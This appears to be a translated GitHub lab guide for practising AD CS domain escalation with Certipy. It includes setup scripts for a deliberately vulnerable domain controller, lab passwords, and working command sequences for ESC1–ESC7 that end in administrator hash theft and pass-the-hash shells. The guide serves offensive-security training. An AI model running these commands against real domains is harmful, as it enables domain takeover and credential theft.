arth0sz/Practice-AD-CS-Domain-Escalation

GitHub: arth0sz/Practice-AD-CS-Domain-Escalation

基于「Certified Pre-Owned」白皮书的 AD CS 域提权实战指南,提供预配置虚拟环境和 ESC1-ESC7 攻击路径的详细演练。

Stars: 141 | Forks: 21

## 目录 - [目的](#purpose) - [完全配置的虚拟机](#fully-configured-vm) - [使用 PowerShell 配置 Windows Server](#configuring-your-windows-server-with-powershell) - [导入易受攻击模板](#importing-vulnerable-templates) - [Active Directory Certificate Services 基础](#active-directory-certificate-services-basics) - [Certipy 入门](#intro-to-certipy) - [配置错误的证书模板 - ESC1](#misconfigured-certificate-templates---esc1) - [配置错误的证书模板 - ESC2](#misconfigured-certificate-templates---esc2) - [配置错误的注册代理模板 - ESC3](#misconfigured-enrollment-agent-templates---esc3) - [易受攻击的证书模板访问控制 - ESC4](#vulnerable-certificate-template-access-control---esc4) - [易受攻击的证书颁发机构访问控制 - ESC7](#vulnerable-certificate-authority-access-control---esc7) - [结语](#final-words) ## 目的 创建此存储库是为了让 offensive cybersecurity 爱好者有机会练习滥用 Active Directory Certificate Services 进行域权限提升。我们将全程使用 [Oliver Lyak](https://twitter.com/ly4k) 开发的工具 [Certipy](https://github.com/ly4k/Certipy)。 这里的信息基于 [Will Schroeder](https://twitter.com/harmj0y) 和 [Lee Christensen](https://twitter.com/tifkin) 撰写的 Certified Pre-Owned 白皮书。 我也强烈建议阅读 [Oliver Lyak](https://twitter.com/ly4k) 的以下文章: [Certifried: Active Directory Domain Privilege Escalation (CVE-2022–26923)](https://research.ifcr.dk/certifried-active-directory-domain-privilege-escalation-cve-2022-26923-9e098fe298f4) [Certipy 4.0: ESC9 & ESC10, BloodHound GUI, New Authentication and Request Methods — and more!](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7) 另一篇推荐阅读的文章是 Schroeder 和 Christensen 的后续文章 [Certificates and Pwnage and Patches, Oh My!](https://posts.specterops.io/certificates-and-pwnage-and-patches-oh-my-8ae0f4304c1d)。 你可以跟随本指南,我们一起进行配置,或者通过提供的链接下载完全配置好的 VM。该 VM 是在 VMWare Workstation 上创建和测试的。 你也可以使用包含的 PowerShell 脚本将易受攻击的模板导入到你自己的 Windows Server 2019 机器中,前提是你已将服务器提升为域控制器并安装了企业根 CA。手动模板配置可以通过证书模板控制台完成。 以下提权路径可用:ESC1、ESC2、ESC3、ESC4 和 ESC7。 ## 完全配置的虚拟机 你可以从[这里](https://mega.nz/file/En03zSTC#UU940Sv3jIjExDcj2nmpH_WgLTKo6B5p_oVHVMQpvnk)下载该 VM 的 .ova 文件。请注意,其大小约为 11GB,已分配 2GB 内存。要查找 VM 的 IP,你可以以管理员身份登录,或者直接从你的攻击机上执行 `arp-scan -l`。 ### VM 密码 #### 管理员密码 以备不时之需。Base64 编码。 `NTNqRkNNJVUqVFVweE5QQ2Ul` #### 用户密码 ##### s.jackson - ESC1, ESC2, ESC3, ESC4 `s.jackson : Pr3-0wn3d@#.` ##### m.roland - ESC7 `m.roland : Acc3SsC0ntr0l` ## 使用 PowerShell 配置 Windows Server 在开始安装 Active Directory Domain Services 之前,你应该将 PC 重命名为你希望其提升为域控制器后的名称。我选择的名称是 CertDC。 ### 步骤 1 你可以使用以下 PowerShell 命令来设置你的域控制器。你的机器将在结束时重启。 ```  Install-WindowsFeature -Name AD-Domain-Services -IncludeManagementTools -WarningAction SilentlyContinue | Out-Null Write-Host "[*] Installing Active Directory Domain Services." # 如果尚未加载,导入 ActiveDirectory 模块 if (-not (Get-Module -Name ActiveDirectory -ErrorAction SilentlyContinue)) { Import-Module ActiveDirectory } Install-ADDSForest -SkipPreChecks -CreateDnsDelegation:$false -DomainName certipied.local -DomainNetBIOSName Certipied -InstallDNS -SafeModeAdministratorPassword (Convertto-SecureString -AsPlainText "53jFCM%U*TUpxNPCe%" -Force) -Force -WarningAction SilentlyContinue | Out-Null Write-Host "[*] Creating new forest." Write-Host "[*] Promoting to domain controller." Write-Host "[*] Restarting..." ``` ### 步骤 2 现在,如果你想完全按照指南进行操作,可以添加相应的用户。 ```  # 创建用户 s.jackson New-ADUser -Name "Sarah Jackson" -GivenName "Sarah" -Surname "Jackson" -SamAccountName "s.jackson" ` -UserPrincipalName "s.jackson@$Global:Domain -Path DC=certipied,DC=local" ` -AccountPassword (ConvertTo-SecureString "Pr3-0wn3d@#." -AsPlainText -Force) ` -PasswordNeverExpires $true -PassThru | Enable-ADAccount | Out-Null Write-Host "[+] Domain User Sarah Jackson added. Logon: s.jackson, password: Pr3-0wn3d@#." # 创建用户 m.roland New-ADUser -Name "Michael Roland" -GivenName "Michael" -Surname "Roland" -SamAccountName "m.roland" ` -UserPrincipalName "m.roland@$Global:Domain -Path DC=certipied,DC=local" ` -AccountPassword (ConvertTo-SecureString "Acc3SsC0ntr0l" -AsPlainText -Force) ` -PasswordNeverExpires $true -PassThru | Enable-ADAccount | Out-Null Write-Host "[+] Domain User Michael Roland added. Logon: m.roland, password: Acc3SsC0ntr0l" New-NetFirewallRule -DisplayName "Allow 389" -Direction Outbound -LocalPort 389 -Protocol TCP -Action Allow New-NetFirewallRule -DisplayName "Allow 636" -Direction Outbound -LocalPort 636 -Protocol TCP -Action Allow New-NetFirewallRule -DisplayName "Allow 389" -Direction Inbound -LocalPort 389 -Protocol TCP -Action Allow New-NetFirewallRule -DisplayName "Allow 636" -Direction Inbound -LocalPort 636 -Protocol TCP -Action Allow ``` ### 步骤 3 下一步是安装 Active Directory Certificate Services。无需重启。 ``` Install-WindowsFeature -Name AD-Certificate -IncludeManagementTools -WarningAction SilentlyContinue | Out-Null Install-WindowsFeature -Name Adcs-Cert-Authority -IncludeManagementTools -WarningAction SilentlyContinue | Out-Null Write-Host "[*] Installing new Active Directory Certificate Authority. `n" Install-AdcsCertificationAuthority -CACommonName Certipied-CA -CAType EnterpriseRootCa -CryptoProviderName "RSA#Microsoft Software Key Storage Provider" ` -KeyLength 2048 -HashAlgorithmName SHA256 -ValidityPeriod Years -ValidityPeriodUnits 99 -WarningAction SilentlyContinue -Force | Out-Null ``` ## 导入易受攻击模板 下一步是使用存储库中提供的 PowerShell 脚本来下载并导入所有易受攻击的证书模板。 你仍然需要手动授予我们的用户 Michael Roland 对证书颁发机构的“管理 CA”权限。 ## Active Directory Certificate Services 基础 从技术角度来说,Active Directory Certificate Services (AD CS) 是一个 Windows Server 角色,它提供公钥基础设施 (PKI),以便在组织的 Active Directory (AD) 环境中颁发、管理和验证数字证书。AD CS 充当证书颁发机构 (CA),支持数字证书的安全分发和使用,用于各种目的,如身份验证、加密和数字签名。 我们需要了解的一些术语: 1. **证书颁发机构 (CA):** AD CS 包含一个或多个 CA,负责颁发和管理数字证书。这些证书用于验证 AD 域内用户、计算机、设备或服务的身份。CA 是 PKI 的关键组件,生成公私钥对并对证书进行签名,以建立信任和真实性。 2. **公钥基础设施 (PKI):** AD CS 实现了一个由加密密钥、数字证书和信任关系组成的 PKI 框架。PKI 通过利用非对称加密算法实现安全通信、数据加密和数字签名,其中每个实体都拥有一对公私钥。 3. **证书模板:** AD CS 使用证书模板来定义要颁发的证书的属性和用法。这些模板允许管理员创建自定义证书类型,指定哪些用户或计算机可以请求它们以及它们的用途(例如,客户端身份验证、服务器身份验证、电子邮件加密)。你不能创建新模板,只能复制现有模板。 4. **SAN**:代表使用者可选名称。它是 X.509 数字证书中的一个扩展字段,允许单个证书在单个证书中保护多个使用者名称(身份)。这意味着请求者可以以任何人的身份请求证书,包括域管理员。 5. **EKU**:代表增强型密钥用法。它是 X.509 数字证书中的一个扩展字段,指定了证书可用于的目的或特定用途。增强型密钥用法 (EKU) 扩展允许管理员定义证书可用于的一组目的或应用程序。EKU 扩展包含一个或多个对象标识符 (OID),代表证书的允许用途。 我们要在这里介绍的是证书模板是多么容易被配置错误,以及这如何迅速导致域提权。 为了进行枚举和利用,我们将使用上述 Oliver Lyak 开发的名为 Certipy 的工具。 你可以在[这里](https://github.com/ly4k/Certipy)找到 Certipy 的 GitHub 存储库。欢迎你通读工具文档,并在没有指导的情况下尝试自行利用提供的 VM。 ## Certipy 入门 Certipy 是一个用于枚举和滥用 Active Directory Certificate Services (AD CS) 的 offensive 工具。 ### 安装 `pip3 install certipy-ad` ### 基础 本节将仅涵盖利用提供的提权路径所需的基础知识。 #### 查找 `find` 命令是我们用于枚举的命令。我们将使用 `-u` 指定用户名,使用 `-p` 指定密码,使用 `-dc-ip` 指定域控制器 IP。我使用了 `-text` 标志,因此输出将仅保存到 `.txt` 文件中。 否则,该工具还会将输出保存为 JSON 格式以及一个可导入 BloodHound 进行可视化的 .zip 文件。在本指南中,我们将仅使用 .txt 文件。 `certipy find -u s.jackson@certipied.local -p 'Pr3-0wn3d@#.' -dc-ip 192.168.91.181 -text` ![](/screenshots/20230724201209.png?raw=true) 或者,你也可以添加 `-vulnerable` 标志,这将仅输出易受攻击的模板。 #### 请求 `req` 命令用于请求、检索和续订证书。 `certipy req -u s.jackson@certipied.local -p 'Pr3-0wn3d!#.' -ca Certipied-CA -template Vuln-ESC1 -upn administrator@certipied.local -dc-ip 192.168.91.159` 在这里,我们还使用 `-ca` 指定证书颁发机构,使用 `-template` 指定我们要滥用的模板名称,使用 `-upn` 指定用户主体名称。 通常,这会生成一个带有 `.pfx` 扩展名的证书文件,然后我们可以使用该文件进行身份验证。 #### auth `auth` 命令用于使用之前生成的 `.pfx` 文件进行身份验证。 默认情况下,Certipy 将尝试从证书 (`-pfx`) 中提取用户名和域,通过 Kerberos 进行身份验证,这将检索 TGT 和目标用户的 NT hash。 你很快就会看到这些命令的实际效果。 #### ca `ca` 命令可用于直接与证书颁发机构交互并对其进行操作。当我们介绍 ESC7 时,你将遇到此命令的用例。 #### 模板 `template` 命令可用于操作、保存和恢复模板配置。当我们介绍 ESC4 时,你将遇到此命令的用例。 ## 配置错误的证书模板 - ESC1 让我们回顾一下使此提权路径可用的先决条件: - CA 授予*低权限用户*注册权限 - 管理员批准被禁用 - 不需要授权签名 - 证书模板允许请求者在证书签名请求 (CSR) 中指定使用者可选名称 (SAN)。 - 证书模板定义了启用身份验证的 EKU。 ![ESC1](/screenshots/ESC1.png?raw=true) 我们已经使用 `find` 命令枚举了可用的模板。 如果我们检查生成的 `.txt` 文件,我们将发现模板 `Vuln-ESC1` 易受此提权路径攻击。 ![](/screenshots/20230724225445.png?raw=true) 以下是我们需要关注的,以便我们自己发现易受攻击的模板: ![](/screenshots/20230724225643.png?raw=true) ### 模板滥用 首先,我们将使用有效的域用户凭据请求易受攻击的模板,并指定管理员帐户的 UPN。 `certipy req -u s.jackson@certipied.local -p 'Pr3-0wn3d@#.' -ca Certipied-CA -template Vuln-ESC1 -upn administrator@certipied.local -dc-ip 192.168.91.181` ![](/screenshots/20230724225958.png?raw=true) 然后我们将使用我们获得的证书进行身份验证,这将为我们提供该帐户的 NT hash。 `certipy auth -pfx administrator.pfx -dc-ip 192.168.91.181` ![](/screenshots/20230724230105.png?raw=true) 就这样我们获得了管理员哈希,我们需要做的就是执行哈希传递攻击以获取 shell,域就是我们的了。 `evil-winrm -i 192.168.91.181 -u administrator -H 91e2bb8a04a98412fd7db7a798426b19` ![](/screenshots/20230724230237.png?raw=true) ## 配置错误的证书模板 - ESC2 让我们再次从使此提权路径可用的先决条件开始: - CA 授予*低权限用户*注册权限 - 管理员批准被禁用 - 不需要授权签名 - 证书模板将任何目的作为 EKU ![ESC2](/screenshots/ESC2.png?raw=true) 易受 ESC2 攻击的证书也会显示为易受 ESC3 攻击。 ![](/screenshots/20230724231313.png?raw=true) 以下是我们需要关注的,以便我们自己发现易受攻击的模板: ![](/screenshots/20230724231433.png?raw=true) ### 模板滥用 如果请求者可以指定 SAN,则易受 ESC2 攻击的证书模板可以像 ESC1 一样被滥用。 由于证书可用于任何目的,因此可以使用与 ESC3 相同的技术对其进行滥用,我们将在下面介绍。 `certipy req -u s.jackson@certipied.local -p 'Pr3-0wn3d@#.' -ca Certipied-CA -template Vuln-ESC2 -dc-ip 192.168.91.181` ![](/screenshots/20230725005026.png?raw=true) 然后,我们可以使用证书请求代理证书 (`-pfx`) 通过指定 `-on-behalf-of` 标志代表另一个用户请求证书。`-on-behalf-of` 参数值必须采用 `domain\user` 的形式,而不是域的 FQDN,即 `certipied` 而不是 `certipied.local`。 `certipy req -u s.jackson@certipied.local -p 'Pr3-0wn3d@#.' -ca Certipied-CA -template User -on-behalf-of 'certipied\Administrator' -pfx s.jackson.pfx -dc-ip 192.168.91.181` ![](/screenshots/20230725005237.png?raw=true) 然后我们可以使用新证书以管理员身份进行身份验证。 ## 配置错误的注册代理模板 - ESC3 这种情况与前两种类似,但是,它涉及不同的 EKU,即证书请求代理。 在 Microsoft 文档中,它也被称为注册代理,并允许主体代表另一个用户注册证书。 此提权路径还需要至少两个符合我们将在下面探讨的条件的模板。 模板 1 的要求: - CA 授予*低权限用户*注册权限 - 管理员批准被禁用 - 不需要授权签名 - **模板允许低权限用户注册注册代理证书。** - 证书模板将证书请求代理作为 EKU ![ESC3-1](/screenshots/3-1.png?raw=true) 以下是我们需要关注的,以便我们自己发现易受攻击的模板: ![ESC3-1](/screenshots/2023-09-03_21-25.png?raw=true) 模板 2 的要求: - CA 授予*低权限用户*注册权限 - 管理员批准被禁用 - **模板架构为版本 1 或大于 2,并指定了需要证书请求代理 EKU 的应用程序策略颁发要求。** - 证书模板具有允许域身份验证的 EKU。 - CA 上未实施注册代理限制。 ![ESC3-2](/screenshots/ESC3-2.png?raw=true) 以下是此类模板的外观,但是,它本身不会显示为易受任何攻击。 ![ESC3-2](/screenshots/2023-09-03_21-28.png?raw=true) ### 模板滥用 滥用此模板将重复我们在 ESC2 中介绍的内容。 首先,我们必须基于易受 ESC3 攻击的证书模板请求证书。 `certipy req -u s.jackson@certipied.local -p 'Pr3-0wn3d@#.' -ca Certipied-CA -template Vuln-ESC3-1 -dc-ip 192.168.91.185` ![](/screenshots/2023-09-03_21-39.png?raw=true) 然后,我们可以使用证书请求代理证书 (`-pfx`) 通过指定 `-on-behalf-of` 标志代表另一个用户请求证书。`-on-behalf-of` 参数值必须采用 `domain\user` 的形式,而不是域的 FQDN,即 `certipied` 而不是 `certipied.local`。 `certipy req -u s.jackson@certipied.local -p 'Pr3-0wn3d@#.' -ca Certipied-CA -template User -on-behalf-of 'certipied\Administrator' -pfx s.jackson.pfx -dc-ip 192.168.91.185` ![](/screenshots/2023-09-03_21-41.png?raw=true) 然后我们可以使用新证书以管理员身份进行身份验证。 ## 易受攻击的证书模板访问控制 - ESC4 ![ESC4](/screenshots/ESC4.png?raw=true) ESC4 是指用户对证书模板拥有写入权限。例如,这可能被滥用来覆盖证书模板的配置,使模板易受 ESC1 攻击。 默认情况下,Certipy 将覆盖配置以使其易受 ESC1 攻击。 ### 模板滥用 我们可以指定 `-save-old` 标志来保存旧配置,这对于之后恢复配置很有用。 `certipy template -u s.jackson@certipied.local -p 'Pr3-0wn3d@#.' -template Vuln-ESC4 -dc-ip 192.168.91.181 -save-old` ![](/screenshots/20230725005406.png?raw=true) 因此,我们现在可以基于 ESC4 模板请求证书,并使用 `-upn` 标志指定任意 SAN,其方式与我们处理 ESC1 的方式完全相同。 `certipy req -u s.jackson@certipied.local -p 'Pr3-0wn3d@#.' -ca Certipied-CA -template Vuln-ESC4 -upn administrator@certipied.local -dc-ip 192.168.91.181` ![](/screenshots/20230725005455.png?raw=true) 我们可以通过使用 `-configuration` 标志指定保存的配置的路径来恢复旧配置。 `certipy template -u s.jackson@certipied.local -p 'Pr3-0wn3d@#.' -template Vuln-ESC4 -dc-ip 192.168.91.181 -configuration Vuln-ESC4.json` ![](/screenshots/20230725005618.png?raw=true) ## 易受攻击的证书颁发机构访问控制 - ESC7 ![ESC7](/screenshots/ESC7.png?raw=true) ### 模板滥用 如果你仅拥有 `Manage CA` 访问权限,则可以通过将你的用户添加为新 officer 来授予自己 `Manage Certificates` 访问权限。 `certipy ca -ca 'Certipied-CA' -add-officer m.roland -u m.roland@certipied.local -p 'Acc3SsC0ntr0l' -dc-ip 192.168.91.181` ![](/screenshots/20230725010032.png?raw=true) 可以使用 `-enable-template` 参数在 CA 上**启用** **`SubCA`** 模板。默认情况下,`SubCA` 模板处于启用状态。 `certipy ca -ca 'Certipied-CA' -enable-template SubCA -u m.roland@certipied.local -p 'Acc3SsC0ntr0l' -dc-ip 192.168.91.181` ![](/screenshots/20230725010101.png?raw=true) 如果我们已满足此攻击的先决条件,我们可以首先基于 `SubCA` 模板请求证书。 此请求将被拒绝,但我们将保存私钥并记下请求 ID。 `certipy req -u m.roland@certipied.local -p 'Acc3SsC0ntr0l' -ca Certipied-CA -template SubCA -upn administrator@certipied.local -dc-ip 192.168.91.181` ![](/screenshots/20230725010221.png?raw=true) 凭借我们的 `Manage CA` 和 `Manage Certificates`,我们可以随后使用 `ca` 命令和 `-issue-request ` 参数颁发失败的证书请求。 `certipy ca -ca 'Certipied-CA' -issue-request 8 -u m.roland@certipied.local -p 'Acc3SsC0ntr0l' -dc-ip 192.168.91.181` ![](/screenshots/20230725010303.png?raw=true) `certipy req -u m.roland@certipied.local -p 'Acc3SsC0ntr0l' -ca Certipied-CA -retrieve 8 -dc-ip 192.168.91.181` ![](/screenshots/20230725010352.png?raw=true) ## 结语 我希望对一些可用提权路径的这种检查会有所帮助。我建议参考开头提到的所有来源,以更深入地了解该主题以及滥用 Active Directory Certificate Services 的许多潜在可用路径。 将来我可能会在本指南中添加更多内容。
标签:Active Directory, AD CS, AI合规, AWS 安全, Certified Pre-Owned, Certipy, CSV导出, CVE-2022-26923, ESC4, ESC7, IPv6, Libemu, Libemu, log2timeline, OSINT, Plaso, PowerShell, RuleLab, silver certificate, Web报告查看器, Windows Server, 域渗透, 攻击向量, 数据展示, 权限滥用, 模板配置错误, 漏洞复现, 特权提升, 环境搭建, 电子数据取证, 红队, 网络安全, 自动化部署, 证书服务, 超级时间线, 逆向工具, 金色票据, 隐私保护